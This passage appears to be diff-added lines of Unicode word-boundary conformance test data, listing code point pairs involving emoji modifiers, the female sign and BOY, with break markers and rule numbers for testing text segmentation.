+÷ 1F3FB × 0308 ÷ 003A ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 1F3FB ÷ 002C ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 002C ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 1F3FB ÷ 002E ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] FULL STOP (MidNumLet) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 002E ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FULL STOP (MidNumLet) ÷ [0.3]
+÷ 1F3FB ÷ 0030 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 0030 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 1F3FB ÷ 005F ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 005F ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
+÷ 1F3FB ÷ 1F1E6 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 1F3FB ÷ 05D0 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 05D0 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
+÷ 1F3FB ÷ 0022 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 0022 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
+÷ 1F3FB ÷ 0027 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 0027 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 1F3FB ÷ 261D ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 261D ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 1F3FB ÷ 1F3FB ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 1F3FB ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 1F3FB ÷ 2640 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 2640 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 1F3FB ÷ 1F466 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 1F466 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 1F3FB × 00AD ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
+÷ 1F3FB × 0308 × 00AD ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
+÷ 1F3FB × 0300 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 1F3FB × 0308 × 0300 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 1F3FB × 200D ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 1F3FB × 0308 × 200D ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 1F3FB ÷ 0061 × 2060 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 1F3FB ÷ 0061 ÷ 003A ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 0061 ÷ 003A ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 1F3FB ÷ 0061 ÷ 0027 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 0061 ÷ 0027 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 1F3FB ÷ 0061 ÷ 0027 × 2060 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 0061 ÷ 0027 × 2060 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 1F3FB ÷ 0061 ÷ 002C ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 0061 ÷ 002C ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 1F3FB ÷ 0031 ÷ 003A ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 0031 ÷ 003A ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 1F3FB ÷ 0031 ÷ 0027 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 0031 ÷ 0027 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 1F3FB ÷ 0031 ÷ 002C ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 0031 ÷ 002C ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 1F3FB ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2640 ÷ 0001 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0001 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 2640 ÷ 000D ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [3.2] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 2640 × 0308 ÷ 000D ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 2640 ÷ 000A ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [3.2] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 2640 × 0308 ÷ 000A ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 2640 ÷ 000B ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [3.2] <LINE TABULATION> (Newline) ÷ [0.3]
+÷ 2640 × 0308 ÷ 000B ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <LINE TABULATION> (Newline) ÷ [0.3]
+÷ 2640 ÷ 3031 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3]
+÷ 2640 × 0308 ÷ 3031 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3]
+÷ 2640 ÷ 0041 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0041 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
+÷ 2640 ÷ 003A ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 2640 × 0308 ÷ 003A ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 2640 ÷ 002C ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 2640 × 0308 ÷ 002C ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 2640 ÷ 002E ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] FULL STOP (MidNumLet) ÷ [0.3]
+÷ 2640 × 0308 ÷ 002E ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FULL STOP (MidNumLet) ÷ [0.3]
+÷ 2640 ÷ 0030 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0030 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 2640 ÷ 005F ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
+÷ 2640 × 0308 ÷ 005F ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
+÷ 2640 ÷ 1F1E6 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 2640 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 2640 ÷ 05D0 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
+÷ 2640 × 0308 ÷ 05D0 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
+÷ 2640 ÷ 0022 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0022 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
+÷ 2640 ÷ 0027 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0027 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 2640 ÷ 261D ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 2640 × 0308 ÷ 261D ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 2640 ÷ 1F3FB ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 2640 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 2640 ÷ 2640 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 2640 × 0308 ÷ 2640 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 2640 ÷ 1F466 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 2640 × 0308 ÷ 1F466 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 2640 × 00AD ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
+÷ 2640 × 0308 × 00AD ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
+÷ 2640 × 0300 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 2640 × 0308 × 0300 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 2640 × 200D ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 2640 × 0308 × 200D ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 2640 ÷ 0061 × 2060 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2640 ÷ 0061 ÷ 003A ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0061 ÷ 003A ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 2640 ÷ 0061 ÷ 0027 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0061 ÷ 0027 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 2640 ÷ 0061 ÷ 0027 × 2060 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0061 ÷ 0027 × 2060 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2640 ÷ 0061 ÷ 002C ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0061 ÷ 002C ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 2640 ÷ 0031 ÷ 003A ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0031 ÷ 003A ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 2640 ÷ 0031 ÷ 0027 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0031 ÷ 0027 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 2640 ÷ 0031 ÷ 002C ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0031 ÷ 002C ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 2640 ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 1F466 ÷ 0001 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 0001 ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 1F466 ÷ 000D ÷ # ÷ [0.2] BOY (EBG) ÷ [3.2] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 000D ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 1F466 ÷ 000A ÷ # ÷ [0.2] BOY (EBG) ÷ [3.2] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 000A ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 1F466 ÷ 000B ÷ # ÷ [0.2] BOY (EBG) ÷ [3.2] <LINE TABULATION> (Newline) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 000B ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <LINE TABULATION> (Newline) ÷ [0.3]
+÷ 1F466 ÷ 3031 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 3031 ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3]
+÷ 1F466 ÷ 0041 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 0041 ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
+÷ 1F466 ÷ 003A ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 003A ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 1F466 ÷ 002C ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 002C ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 1F466 ÷ 002E ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] FULL STOP (MidNumLet) ÷ [0.3]
